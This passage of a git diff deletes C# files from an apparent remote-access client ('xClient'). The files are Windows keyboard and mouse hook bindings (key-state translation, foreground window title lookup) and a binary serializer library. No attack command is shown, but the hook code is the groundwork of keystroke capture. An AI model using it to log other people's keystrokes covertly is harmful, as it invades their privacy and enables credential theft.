regardless of the keyboard layout, even if several characters have been typed and are stored in the - /// keyboard state. If possible, even with Unicode keyboard layouts, the function has written a spacing version - /// of the dead-key character to the buffer specified by pwszBuff. For example, the function writes the - /// character SPACING ACUTE (0x00B4), rather than the character NON_SPACING ACUTE (0x0301). - /// - /// - /// 0 = The specified virtual key has no translation for the current state of the keyboard. Nothing was - /// written to the buffer specified by pwszBuff. - /// - /// 1 = One character was written to the buffer specified by pwszBuff. - /// - /// n = Two or more characters were written to the buffer specified by pwszBuff. The most common cause - /// for this is that a dead-key character (accent or diacritic) stored in the keyboard layout could not be - /// combined with the specified virtual key to form a single character. However, the buffer may contain more - /// characters than the return value specifies. When this happens, any extra characters are invalid and should - /// be ignored. - /// - /// - /// - [DllImport("user32.dll")] - public static extern int ToUnicodeEx(int wVirtKey, - int wScanCode, - byte[] lpKeyState, - [Out, MarshalAs(UnmanagedType.LPWStr, SizeConst = 64)] StringBuilder pwszBuff, - int cchBuff, - int wFlags, - IntPtr dwhkl); - - /// - /// The GetKeyboardState function copies the status of the 256 virtual keys to the - /// specified buffer. - /// - /// - /// [in] Pointer to a 256-byte array that contains keyboard key states. - /// - /// - /// If the function succeeds, the return value is nonzero. - /// If the function fails, the return value is zero. To get extended error information, call GetLastError. - /// - /// - /// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/userinput/keyboardinput/keyboardinputreference/keyboardinputfunctions/toascii.asp - /// - [DllImport("user32.dll")] - public static extern int GetKeyboardState(byte[] pbKeyState); - - /// - /// The GetKeyState function retrieves the status of the specified virtual key. The status specifies whether the key is - /// up, down, or toggled - /// (on, off—alternating each time the key is pressed). - /// - /// - /// [in] Specifies a virtual key. If the desired virtual key is a letter or digit (A through Z, a through z, or 0 - /// through 9), nVirtKey must be set to the ASCII value of that character. For other keys, it must be a virtual-key - /// code. - /// - /// - /// The return value specifies the status of the specified virtual key, as follows: - /// If the high-order bit is 1, the key is down; otherwise, it is up. - /// If the low-order bit is 1, the key is toggled. A key, such as the CAPS LOCK key, is toggled if it is turned on. The - /// key is off and untoggled if the low-order bit is 0. A toggle key's indicator light (if any) on the keyboard will be - /// on when the key is toggled, and off when the key is untoggled. - /// - /// http://msdn.microsoft.com/en-us/library/ms646301.aspx - [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] - public static extern short GetKeyState(int vKey); - - /// - /// Translates (maps) a virtual-key code into a scan code or character value, or translates a scan code into a - /// virtual-key code. - /// - /// - /// [in] The virtual key code or scan code for a key. How this value is interpreted depends on the - /// value of the uMapType parameter. - /// - /// - /// [in] The translation to be performed. The value of this parameter depends on the value of the - /// uCode parameter. - /// - /// [in] The input locale identifier used to translate the specified code. - /// - [DllImport("user32.dll", CharSet = CharSet.Auto)] - internal static extern int MapVirtualKeyEx(int uCode, int uMapType, IntPtr dwhkl); - - /// - /// Retrieves the active input locale identifier (formerly called the keyboard layout) for the specified thread. - /// If the idThread parameter is zero, the input locale identifier for the active thread is returned. - /// - /// [in] The identifier of the thread to query, or 0 for the current thread. - /// - /// The return value is the input locale identifier for the thread. The low word contains a Language Identifier for the - /// input - /// language and the high word contains a device handle to the physical layout of the keyboard. - /// - [DllImport("user32.dll", CharSet = CharSet.Auto)] - internal static extern IntPtr GetKeyboardLayout(int dwLayout); - - /// - /// MapVirtualKeys uMapType - /// - internal enum MapType - { - /// - /// uCode is a virtual-key code and is translated into an unshifted character value in the low-order word of the return - /// value. Dead keys (diacritics) are indicated by setting the top bit of the return value. If there is no translation, - /// the function returns 0. - /// - MAPVK_VK_TO_VSC, - - /// - /// uCode is a virtual-key code and is translated into a scan code. If it is a virtual-key code that does not - /// distinguish between left- and right-hand keys, the left-hand scan code is returned. If there is no translation, the - /// function returns 0. - /// - MAPVK_VSC_TO_VK, - - /// - /// uCode is a scan code and is translated into a virtual-key code that does not distinguish between left- and - /// right-hand keys. If there is no translation, the function returns 0. - /// - MAPVK_VK_TO_CHAR, - - /// - /// uCode is a scan code and is translated into a virtual-key code that distinguishes between left- and right-hand - /// keys. If there is no translation, the function returns 0. - /// - MAPVK_VSC_TO_VK_EX - } - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/WinApi/Messages.cs b/Client/Core/MouseKeyHook/WinApi/Messages.cs deleted file mode 100644 index 0c0130ab8..000000000 --- a/Client/Core/MouseKeyHook/WinApi/Messages.cs +++ /dev/null @@ -1,123 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -namespace xClient.Core.MouseKeyHook.WinApi -{ - internal static class Messages - { - //values from Winuser.h in Microsoft SDK. - - /// - /// The WM_MOUSEMOVE message is posted to a window when the cursor moves. - /// - public const int WM_MOUSEMOVE = 0x200; - - /// - /// The WM_LBUTTONDOWN message is posted when the user presses the left mouse button - /// - public const int WM_LBUTTONDOWN = 0x201; - - /// - /// The WM_RBUTTONDOWN message is posted when the user presses the right mouse button - /// - public const int WM_RBUTTONDOWN = 0x204; - - /// - /// The WM_MBUTTONDOWN message is posted when the user presses the middle mouse button - /// - public const int WM_MBUTTONDOWN = 0x207; - - /// - /// The WM_LBUTTONUP message is posted when the user releases the left mouse button - /// - public const int WM_LBUTTONUP = 0x202; - - /// - /// The WM_RBUTTONUP message is posted when the user releases the right mouse button - /// - public const int WM_RBUTTONUP = 0x205; - - /// - /// The WM_MBUTTONUP message is posted when the user releases the middle mouse button - /// - public const int WM_MBUTTONUP = 0x208; - - /// - /// The WM_LBUTTONDBLCLK message is posted when the user double-clicks the left mouse button - /// - public const int WM_LBUTTONDBLCLK = 0x203; - - /// - /// The WM_RBUTTONDBLCLK message is posted when the user double-clicks the right mouse button - /// - public const int WM_RBUTTONDBLCLK = 0x206; - - /// - /// The WM_RBUTTONDOWN message is posted when the user presses the right mouse button - /// - public const int WM_MBUTTONDBLCLK = 0x209; - - /// - /// The WM_MOUSEWHEEL message is posted when the user presses the mouse wheel. - /// - public const int WM_MOUSEWHEEL = 0x020A; - - /// - /// The WM_XBUTTONDOWN message is posted when the user presses the first or second X mouse - /// button. - /// - public const int WM_XBUTTONDOWN = 0x20B; - - /// - /// The WM_XBUTTONUP message is posted when the user releases the first or second X mouse - /// button. - /// - public const int WM_XBUTTONUP = 0x20C; - - /// - /// The WM_XBUTTONDBLCLK message is posted when the user double-clicks the first or second - /// X mouse button. - /// - /// Only windows that have the CS_DBLCLKS style can receive WM_XBUTTONDBLCLK messages. - public const int WM_XBUTTONDBLCLK = 0x20D; - - /// - /// The WM_MOUSEHWHEEL message Sent to the active window when the mouse's horizontal scroll - /// wheel is tilted or rotated. - /// - public const int WM_MOUSEHWHEEL = 0x20E; - - /// - /// The WM_KEYDOWN message is posted to the window with the keyboard focus when a non-system - /// key is pressed. A non-system key is a key that is pressed when the ALT key is not pressed. - /// - public const int WM_KEYDOWN = 0x100; - - /// - /// The WM_KEYUP message is posted to the window with the keyboard focus when a non-system - /// key is released. A non-system key is a key that is pressed when the ALT key is not pressed, - /// or a keyboard key that is pressed when a window has the keyboard focus. - /// - public const int WM_KEYUP = 0x101; - - /// - /// The WM_SYSKEYDOWN message is posted to the window with the keyboard focus when the user - /// presses the F10 key (which activates the menu bar) or holds down the ALT key and then - /// presses another key. It also occurs when no window currently has the keyboard focus; - /// in this case, the WM_SYSKEYDOWN message is sent to the active window. The window that - /// receives the message can distinguish between these two contexts by checking the context - /// code in the lParam parameter. - /// - public const int WM_SYSKEYDOWN = 0x104; - - /// - /// The WM_SYSKEYUP message is posted to the window with the keyboard focus when the user - /// releases a key that was pressed while the ALT key was held down. It also occurs when no - /// window currently has the keyboard focus; in this case, the WM_SYSKEYUP message is sent - /// to the active window. The window that receives the message can distinguish between - /// these two contexts by checking the context code in the lParam parameter. - /// - public const int WM_SYSKEYUP = 0x105; - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/WinApi/MouseNativeMethods.cs b/Client/Core/MouseKeyHook/WinApi/MouseNativeMethods.cs deleted file mode 100644 index 646d318f6..000000000 --- a/Client/Core/MouseKeyHook/WinApi/MouseNativeMethods.cs +++ /dev/null @@ -1,27 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System.Runtime.InteropServices; - -namespace xClient.Core.MouseKeyHook.WinApi -{ - internal static class MouseNativeMethods - { - /// - /// The GetDoubleClickTime function retrieves the current double-click time for the mouse. A double-click is a series - /// of two clicks of the - /// mouse button, the second occurring within a specified time after the first. The double-click time is the maximum - /// number of - /// milliseconds that may occur between the first and second click of a double-click. - /// - /// - /// The return value specifies the current double-click time, in milliseconds. - /// - /// - /// http://msdn.microsoft.com/en-us/library/ms646258(VS.85).aspx - /// - [DllImport("user32.dll")] - internal static extern int GetDoubleClickTime(); - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/WinApi/MouseStruct.cs b/Client/Core/MouseKeyHook/WinApi/MouseStruct.cs deleted file mode 100644 index cac907a0b..000000000 --- a/Client/Core/MouseKeyHook/WinApi/MouseStruct.cs +++ /dev/null @@ -1,54 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; -using System.Runtime.InteropServices; - -namespace xClient.Core.MouseKeyHook.WinApi -{ - /// - /// The structure contains information about a mouse input event. - /// - /// - /// See full documentation at http://globalmousekeyhook.codeplex.com/wikipage?title=MouseStruct - /// - [StructLayout(LayoutKind.Explicit)] - internal struct MouseStruct - { - /// - /// Specifies a Point structure that contains the X- and Y-coordinates of the cursor, in screen coordinates. - /// - [FieldOffset(0x00)] public Point Point; - - /// - /// Specifies information associated with the message. - /// - /// - /// The possible values are: - /// - /// - /// 0 - No Information - /// - /// - /// 1 - X-Button1 Click - /// - /// - /// 2 - X-Button2 Click - /// - /// - /// 120 - Mouse Scroll Away from User - /// - /// - /// -120 - Mouse Scroll Toward User - /// - /// - /// - [FieldOffset(0x0A)] public Int16 MouseData; - - /// - /// Returns a Timestamp associated with the input, in System Ticks. - /// - [FieldOffset(0x10)] public Int32 Timestamp; - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/WinApi/Point.cs b/Client/Core/MouseKeyHook/WinApi/Point.cs deleted file mode 100644 index 1400944ff..000000000 --- a/Client/Core/MouseKeyHook/WinApi/Point.cs +++ /dev/null @@ -1,64 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System.Runtime.InteropServices; - -namespace xClient.Core.MouseKeyHook.WinApi -{ - /// - /// The Point structure defines the X- and Y- coordinates of a point. - /// - /// - /// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/gdi/rectangl_0tiq.asp - /// - [StructLayout(LayoutKind.Sequential)] - internal struct Point - { - /// - /// Specifies the X-coordinate of the point. - /// - public int X; - - /// - /// Specifies the Y-coordinate of the point. - /// - public int Y; - - public Point(int x, int y) - { - X = x; - Y = y; - } - - public static bool operator ==(Point a, Point b) - { - return a.X == b.X && a.Y == b.Y; - } - - public static bool operator !=(Point a, Point b) - { - return !(a == b); - } - - public bool Equals(Point other) - { - return other.X == X && other.Y == Y; - } - - public override bool Equals(object obj) - { - if (ReferenceEquals(null, obj)) return false; - if (obj.GetType() != typeof (Point)) return false; - return Equals((Point) obj); - } - - public override int GetHashCode() - { - unchecked - { - return (X*397) ^ Y; - } - } - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/WinApi/ThreadNativeMethods.cs b/Client/Core/MouseKeyHook/WinApi/ThreadNativeMethods.cs deleted file mode 100644 index 61b5b12e1..000000000 --- a/Client/Core/MouseKeyHook/WinApi/ThreadNativeMethods.cs +++ /dev/null @@ -1,46 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; -using System.Runtime.InteropServices; -using System.Text; - -namespace xClient.Core.MouseKeyHook.WinApi -{ - internal static class ThreadNativeMethods - { - /// - /// Retrieves the unmanaged thread identifier of the calling thread. - /// - /// - [DllImport("kernel32.dll")] - internal static extern int GetCurrentThreadId(); - - /// - /// Retrieves a handle to the foreground window (the window with which the user is currently working). - /// The system assigns a slightly higher priority to the thread that creates the foreground window than it does to - /// other threads. - /// - /// - [DllImport("user32.dll")] - internal static extern IntPtr GetForegroundWindow(); - - [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - internal static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount); - - /// - /// Retrieves the identifier of the thread that created the specified window and, optionally, the identifier of the - /// process that - /// created the window. - /// - /// A handle to the window. - /// - /// A pointer to a variable that receives the process identifier. If this parameter is not NULL, - /// GetWindowThreadProcessId copies the identifier of the process to the variable; otherwise, it does not. - /// - /// The return value is the identifier of the thread that created the window. - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - internal static extern int GetWindowThreadProcessId(IntPtr handle, out int processId); - } -} \ No newline at end of file diff --git a/Client/Core/NetSerializer/CodeGenContext.cs b/Client/Core/NetSerializer/CodeGenContext.cs deleted file mode 100644 index 00dcbc5d7..000000000 --- a/Client/Core/NetSerializer/CodeGenContext.cs +++ /dev/null @@ -1,110 +0,0 @@ -/* - * Copyright 2015 Tomi Valkeinen - * - * This Source Code Form is subject to the terms of the Mozilla Public - * License, v. 2.0. If a copy of the MPL was not distributed with this - * file, You can obtain one at http://mozilla.org/MPL/2.0/. - */ - -using System; -using System.Collections.Generic; -using System.Reflection; - -namespace xClient.Core.NetSerializer -{ - public sealed class TypeData - { - public TypeData(ushort typeID, IDynamicTypeSerializer serializer) - { - this.TypeID = typeID; - this.TypeSerializer = serializer; - - this.NeedsInstanceParameter = true; - } - - public TypeData(ushort typeID, MethodInfo writer, MethodInfo reader) - { - this.TypeID = typeID; - this.WriterMethodInfo = writer; - this.ReaderMethodInfo = reader; - - this.NeedsInstanceParameter = writer.GetParameters().Length == 3; - } - - public readonly ushort TypeID; - public bool IsGenerated { get { return this.TypeSerializer != null; } } - public readonly IDynamicTypeSerializer TypeSerializer; - public MethodInfo WriterMethodInfo; - public MethodInfo ReaderMethodInfo; - - public bool NeedsInstanceParameter { get; private set; } - } - - public sealed class CodeGenContext - { - readonly Dictionary m_typeMap; - - public CodeGenContext(Dictionary typeMap) - { - m_typeMap = typeMap; - - var td = m_typeMap[typeof(object)]; - this.SerializerSwitchMethodInfo = td.WriterMethodInfo; - this.DeserializerSwitchMethodInfo = td.ReaderMethodInfo; - } - - public MethodInfo SerializerSwitchMethodInfo { get; private set; } - public MethodInfo DeserializerSwitchMethodInfo { get; private set; } - - public MethodInfo GetWriterMethodInfo(Type type) - { - return m_typeMap[type].WriterMethodInfo; - } - - public MethodInfo GetReaderMethodInfo(Type type) - { - return m_typeMap[type].ReaderMethodInfo; - } - - public bool IsGenerated(Type type) - { - return m_typeMap[type].IsGenerated; - } - - public IDictionary TypeMap { get { return m_typeMap; } } - - bool CanCallDirect(Type type) - { - // We can call the (De)serializer method directly for: - // - Value types - // - Array types - // - Sealed types with static (De)serializer method, as the method will handle null - // Other reference types go through the (De)serializerSwitch - - bool direct; - - if (type.IsValueType || type.IsArray) - direct = true; - else if (type.IsSealed && IsGenerated(type) == false) - direct = true; - else - direct = false; - - return direct; - } - - public TypeData GetTypeData(Type type) - { - return m_typeMap[type]; - } - - public TypeData GetTypeDataForCall(Type type) - { - bool direct = CanCallDirect(type); - if (!direct) - type = typeof(object); - - return GetTypeData(type); - } - } -} diff --git a/Client/Core/NetSerializer/Helpers.cs b/Client/Core/NetSerializer/Helpers.cs deleted file mode 100644 index 0fab991e4..000000000 --- a/Client/Core/NetSerializer/Helpers.cs +++ /dev/null @@ -1,89 +0,0 @@ -/* - * Copyright 2015 Tomi Valkeinen - * - * This Source Code Form is subject to the terms of the Mozilla Public - * License, v. 2.0. If a copy of the MPL was not distributed with this - * file, You can obtain one at http://mozilla.org/MPL/2.0/. - */ - -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Linq; -using System.Reflection; -using System.Reflection.Emit; - -namespace xClient.Core.NetSerializer -{ - static class Helpers - { - public static readonly ConstructorInfo ExceptionCtorInfo = typeof(Exception).GetConstructor(BindingFlags.Public | BindingFlags.Instance, null, new Type[0], null); - - public static IEnumerable GetFieldInfos(Type type) - { - Debug.Assert(type.IsSerializable); - - var fields = type.GetFields(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.DeclaredOnly) - .Where(fi => (fi.Attributes & FieldAttributes.NotSerialized) == 0) - .OrderBy(f => f.Name, StringComparer.Ordinal); - - if (type.BaseType == null) - { - return fields; - } - else - { - var baseFields = GetFieldInfos(type.BaseType); - return baseFields.Concat(fields); - } - } - - public static DynamicMethod GenerateDynamicSerializerStub(Type type) - { - var dm = new DynamicMethod("Serialize", null, - new Type[] { typeof(Serializer), typeof(Stream), type }, - typeof(Serializer), true); - - dm.DefineParameter(1, ParameterAttributes.None, "serializer"); - dm.DefineParameter(2, ParameterAttributes.None, "stream"); - dm.DefineParameter(3, ParameterAttributes.None, "value"); - - return dm; - } - - public static DynamicMethod GenerateDynamicDeserializerStub(Type type) - { - var dm = new DynamicMethod("Deserialize", null, - new Type[] { typeof(Serializer), typeof(Stream), type.MakeByRefType() }, - typeof(Serializer), true); - dm.DefineParameter(1, ParameterAttributes.None, "serializer"); - dm.DefineParameter(2, ParameterAttributes.None, "stream"); - dm.DefineParameter(3, ParameterAttributes.Out, "value"); - - return dm; - } - -#if GENERATE_DEBUGGING_ASSEMBLY - public static MethodBuilder GenerateStaticSerializerStub(TypeBuilder tb, Type type) - { - var mb = tb.DefineMethod("Serialize", MethodAttributes.Public | MethodAttributes.Static, null, - new Type[] { typeof(Serializer), typeof(Stream), type }); - mb.DefineParameter(1, ParameterAttributes.None, "serializer"); - mb.DefineParameter(2, ParameterAttributes.None, "stream"); - mb.DefineParameter(3, ParameterAttributes.None, "value"); - return mb; - } - - public static MethodBuilder GenerateStaticDeserializerStub(TypeBuilder tb, Type type) - { - var mb = tb.DefineMethod("Deserialize", MethodAttributes.Public | MethodAttributes.Static, null, - new Type[] { typeof(Serializer), typeof(Stream), type.MakeByRefType() }); - mb.DefineParameter(1, ParameterAttributes.None, "serializer"); - mb.DefineParameter(2, ParameterAttributes.None, "stream"); - mb.DefineParameter(3, ParameterAttributes.Out, "value"); - return mb; - } -#endif - } -} diff --git a/Client/Core/NetSerializer/ITypeSerializer.cs b/Client/Core/NetSerializer/ITypeSerializer.cs deleted file mode 100644 index c84dffcf2..000000000 --- a/Client/Core/NetSerializer/ITypeSerializer.cs +++ /dev/null @@ -1,49 +0,0 @@ -/* - * Copyright 2015 Tomi Valkeinen - * - * This Source Code Form is subject to the terms of the Mozilla Public - * License, v. 2.0. If a copy of the MPL was not distributed with this - * file, You can obtain one at http://mozilla.org/MPL/2.0/. - */ - -using System; -using System.Collections.Generic; -using System.Reflection; -using System.Reflection.Emit; - -namespace xClient.Core.NetSerializer -{ - public interface ITypeSerializer - { - /// - /// Returns if this TypeSerializer handles the given type - /// - bool Handles(Type type); - - /// - /// Return types that are needed to serialize the given type - /// - IEnumerable GetSubtypes(Type type); - } - - public interface IStaticTypeSerializer : ITypeSerializer - { - /// - /// Get static methods used to serialize and deserialize the given type - /// - void GetStaticMethods(Type type, out MethodInfo writer, out MethodInfo reader); - } - - public interface IDynamicTypeSerializer : ITypeSerializer - { - /// - /// Generate code to serialize the given type - /// - void GenerateWriterMethod(Type type, CodeGenContext ctx, ILGenerator il); - - /// - /// Generate code to deserialize the given type - /// - void GenerateReaderMethod(Type type, CodeGenContext ctx, ILGenerator il); - } -} diff --git a/Client/Core/NetSerializer/Primitives.cs b/Client/Core/NetSerializer/Primitives.cs deleted file mode 100644 index cbc382e7a..000000000 --- a/Client/Core/NetSerializer/Primitives.cs +++ /dev/null @@ -1,521 +0,0 @@ -/* - * Copyright 2015 Tomi Valkeinen - * - * This Source Code Form is subject to the terms of the Mozilla Public - * License, v. 2.0. If a copy of the MPL was not distributed with this - * file, You can obtain one at http://mozilla.org/MPL/2.0/. - */ - -using System; -using System.IO; -using System.Reflection; -using System.Text; - -namespace xClient.Core.NetSerializer -{ - public static class Primitives - { - public static MethodInfo GetWritePrimitive(Type type) - { - return typeof(Primitives).GetMethod("WritePrimitive", - BindingFlags.Static | BindingFlags.Public | BindingFlags.ExactBinding, null, - new Type[] { typeof(Stream), type }, null); - } - - public static MethodInfo GetReaderPrimitive(Type type) - { - return typeof(Primitives).GetMethod("ReadPrimitive", - BindingFlags.Static | BindingFlags.Public | BindingFlags.ExactBinding, null, - new Type[] { typeof(Stream), type.MakeByRefType() }, null); - } - - static uint EncodeZigZag32(int n) - { - return (uint)((n << 1) ^ (n >> 31)); - } - - static ulong EncodeZigZag64(long n) - { - return (ulong)((n << 1) ^ (n >> 63)); - } - - static int DecodeZigZag32(uint n) - { - return (int)(n >> 1) ^ -(int)(n & 1); - } - - static long DecodeZigZag64(ulong n) - { - return (long)(n >> 1) ^ -(long)(n & 1); - } - - static uint ReadVarint32(Stream stream) - { - int result = 0; - int offset = 0; - - for (; offset < 32; offset += 7) - { - int b = stream.ReadByte(); - if (b == -1) - throw new EndOfStreamException(); - - result |= (b & 0x7f) << offset; - - if ((b & 0x80) == 0) - return (uint)result; - } - - throw new InvalidDataException(); - } - - static void WriteVarint32(Stream stream, uint value) - { - for (; value >= 0x80u; value >>= 7) - stream.WriteByte((byte)(value | 0x80u)); - - stream.WriteByte((byte)value); - } - - static ulong ReadVarint64(Stream stream) - { - long result = 0; - int offset = 0; - - for (; offset < 64; offset += 7) - { - int b = stream.ReadByte(); - if (b == -1) - throw new EndOfStreamException(); - - result |= ((long)(b & 0x7f)) << offset; - - if ((b & 0x80) == 0) - return (ulong)result; - } - - throw new InvalidDataException(); - } - - static void WriteVarint64(Stream stream, ulong value) - { - for (; value >= 0x80u; value >>= 7) - stream.WriteByte((byte)(value | 0x80u)); - - stream.WriteByte((byte)value); - } - - - public static void WritePrimitive(Stream stream, bool value) - { - stream.WriteByte(value ? (byte)1 : (byte)0); - } - - public static void ReadPrimitive(Stream stream, out bool value) - { - var b = stream.ReadByte(); - value = b != 0; - } - - public static void WritePrimitive(Stream stream, byte value) - { - stream.WriteByte(value); - } - - public static void ReadPrimitive(Stream stream, out byte value) - { - value = (byte)stream.ReadByte(); - } - - public static void WritePrimitive(Stream stream, sbyte value) - { - stream.WriteByte((byte)value); - } - - public static void ReadPrimitive(Stream stream, out sbyte value) - { - value = (sbyte)stream.ReadByte(); - } - - public static void WritePrimitive(Stream stream, char value) - { - WriteVarint32(stream, value); - } - - public static void ReadPrimitive(Stream stream, out char value) - { - value = (char)ReadVarint32(stream); - } - - public static void WritePrimitive(Stream stream, ushort value) - { - WriteVarint32(stream, value); - } - - public static void ReadPrimitive(Stream stream, out ushort value) - { - value = (ushort)ReadVarint32(stream); - } - - public static void WritePrimitive(Stream stream, short value) - { - WriteVarint32(stream, EncodeZigZag32(value)); - } - - public static void ReadPrimitive(Stream stream, out short value) - { - value = (short)DecodeZigZag32(ReadVarint32(stream)); - } - - public static void WritePrimitive(Stream stream, uint value) - { - WriteVarint32(stream, value); - } - - public static void ReadPrimitive(Stream stream, out uint value) - { - value = ReadVarint32(stream); - } - - public static void WritePrimitive(Stream stream, int value) - { - WriteVarint32(stream, EncodeZigZag32(value)); - } - - public static void ReadPrimitive(Stream stream, out int value) - { - value = DecodeZigZag32(ReadVarint32(stream)); - } - - public static void WritePrimitive(Stream stream, ulong value) - { - WriteVarint64(stream, value); - } - - public static void ReadPrimitive(Stream stream, out ulong value) - { - value = ReadVarint64(stream); - } - - public static void WritePrimitive(Stream stream, long value) - { - WriteVarint64(stream, EncodeZigZag64(value)); - } - - public static void ReadPrimitive(Stream stream, out long value) - { - value = DecodeZigZag64(ReadVarint64(stream)); - } - -#if !NO_UNSAFE - public static unsafe void WritePrimitive(Stream stream, float value) - { - uint v = *(uint*)(&value); - WriteVarint32(stream, v); - } - - public static unsafe void ReadPrimitive(Stream stream, out float value) - { - uint v = ReadVarint32(stream); - value = *(float*)(&v); - } - - public static unsafe void WritePrimitive(Stream stream, double value) - { - ulong v = *(ulong*)(&value); - WriteVarint64(stream, v); - } - - public static unsafe void ReadPrimitive(Stream stream, out double value) - { - ulong v = ReadVarint64(stream); - value = *(double*)(&v); - } -#else - public static void WritePrimitive(Stream stream, float value) - { - WritePrimitive(stream, (double)value); - } - - public static void ReadPrimitive(Stream stream, out float value) - { - double v; - ReadPrimitive(stream, out v); - value = (float)v; - } - - public static void WritePrimitive(Stream stream, double value) - { - ulong v = (ulong)BitConverter.DoubleToInt64Bits(value); - WriteVarint64(stream, v); - } - - public static void ReadPrimitive(Stream stream, out double value) - { - ulong v = ReadVarint64(stream); - value = BitConverter.Int64BitsToDouble((long)v); - } -#endif - - public static void WritePrimitive(Stream stream, DateTime value) - { - long v = value.ToBinary(); - WritePrimitive(stream, v); - } - - public static void ReadPrimitive(Stream stream, out DateTime value) - { - long v; - ReadPrimitive(stream, out v); - value = DateTime.FromBinary(v); - } - -#if NO_UNSAFE - public static void WritePrimitive(Stream stream, string value) - { - if (value == null) - { - WritePrimitive(stream, (uint)0); - return; - } - - var encoding = new UTF8Encoding(false, true); - - int len = encoding.GetByteCount(value); - - WritePrimitive(stream, (uint)len + 1); - - var buf = new byte[len]; - - encoding.GetBytes(value, 0, value.Length, buf, 0); - - stream.Write(buf, 0, len); - } - - public static void ReadPrimitive(Stream stream, out string value) - { - uint len; - ReadPrimitive(stream, out len); - - if (len == 0) - { - value = null; - return; - } - else if (len == 1) - { - value = string.Empty; - return; - } - - len -= 1; - - var encoding = new UTF8Encoding(false, true); - - var buf = new byte[len]; - - int l = 0; - - while (l < len) - { - int r = stream.Read(buf, l, (int)len - l); - if (r == 0) - throw new EndOfStreamException(); - l += r; - } - - value = encoding.GetString(buf); - } -#else - sealed class StringHelper - { - public StringHelper() - { - this.Encoding = new UTF8Encoding(false, true); - } - - public const int BYTEBUFFERLEN = 256; - public const int CHARBUFFERLEN = 128; - - Encoder m_encoder; - Decoder m_decoder; - - byte[] m_byteBuffer; - char[] m_charBuffer; - - public UTF8Encoding Encoding { get; private set; } - public Encoder Encoder { get { if (m_encoder == null) m_encoder = this.Encoding.GetEncoder(); return m_encoder; } } - public Decoder Decoder { get { if (m_decoder == null) m_decoder = this.Encoding.GetDecoder(); return m_decoder; } } - - public byte[] ByteBuffer { get { if (m_byteBuffer == null) m_byteBuffer = new byte[BYTEBUFFERLEN]; return m_byteBuffer; } } - public char[] CharBuffer { get { if (m_charBuffer == null) m_charBuffer = new char[CHARBUFFERLEN]; return m_charBuffer; } } - } - - [ThreadStatic] - static StringHelper s_stringHelper; - - public unsafe static void WritePrimitive(Stream stream, string value) - { - if (value == null) - { - WritePrimitive(stream, (uint)0); - return; - } - else if (value.Length == 0) - { - WritePrimitive(stream, (uint)1); - return; - } - - var helper = s_stringHelper; - if (helper == null) - s_stringHelper = helper = new StringHelper(); - - var encoder = helper.Encoder; - var buf = helper.ByteBuffer; - - int totalChars = value.Length; - int totalBytes; - - fixed (char* ptr = value) - totalBytes = encoder.GetByteCount(ptr, totalChars, true); - - WritePrimitive(stream, (uint)totalBytes + 1); - WritePrimitive(stream, (uint)totalChars); - - int p = 0; - bool completed = false; - - while (completed == false) - { - int charsConverted; - int bytesConverted; - - fixed (char* src = value) - fixed (byte* dst = buf) - { - encoder.Convert(src + p, totalChars - p, dst, buf.Length, true, - out charsConverted, out bytesConverted, out completed); - } - - stream.Write(buf, 0, bytesConverted); - - p += charsConverted; - } - } - - public static void ReadPrimitive(Stream stream, out string value) - { - uint totalBytes; - ReadPrimitive(stream, out totalBytes); - - if (totalBytes == 0) - { - value = null; - return; - } - else if (totalBytes == 1) - { - value = string.Empty; - return; - } - - totalBytes -= 1; - - uint totalChars; - ReadPrimitive(stream, out totalChars); - - var helper = s_stringHelper; - if (helper == null) - s_stringHelper = helper = new StringHelper(); - - var decoder = helper.Decoder; - var buf = helper.ByteBuffer; - char[] chars; - if (totalChars <= StringHelper.CHARBUFFERLEN) - chars = helper.CharBuffer; - else - chars = new char[totalChars]; - - int streamBytesLeft = (int)totalBytes; - - int cp = 0; - - while (streamBytesLeft > 0) - { - int bytesInBuffer = stream.Read(buf, 0, Math.Min(buf.Length, streamBytesLeft)); - if (bytesInBuffer == 0) - throw new EndOfStreamException(); - - streamBytesLeft -= bytesInBuffer; - bool flush = streamBytesLeft == 0 ? true : false; - - bool completed = false; - - int p = 0; - - while (completed == false) - { - int charsConverted; - int bytesConverted; - - decoder.Convert(buf, p, bytesInBuffer - p, - chars, cp, (int)totalChars - cp, - flush, - out bytesConverted, out charsConverted, out completed); - - p += bytesConverted; - cp += charsConverted; - } - } - - value = new string(chars, 0, (int)totalChars); - } -#endif - - public static void WritePrimitive(Stream stream, byte[] value) - { - if (value == null) - { - WritePrimitive(stream, (uint)0); - return; - } - - WritePrimitive(stream, (uint)value.Length + 1); - - stream.Write(value, 0, value.Length); - } - - static readonly byte[] s_emptyByteArray = new byte[0]; - - public static void ReadPrimitive(Stream stream, out byte[] value) - { - uint len; - ReadPrimitive(stream, out len); - - if (len == 0) - { - value = null; - return; - } - else if (len == 1) - { - value = s_emptyByteArray; - return; - } - - len -= 1; - - value = new byte[len]; - int l = 0; - - while (l < len) - { - int r = stream.Read(value, l, (int)len - l); - if (r == 0) - throw new EndOfStreamException(); - l += r; - } - } - } -} diff --git a/Client/Core/NetSerializer/Serializer.cs 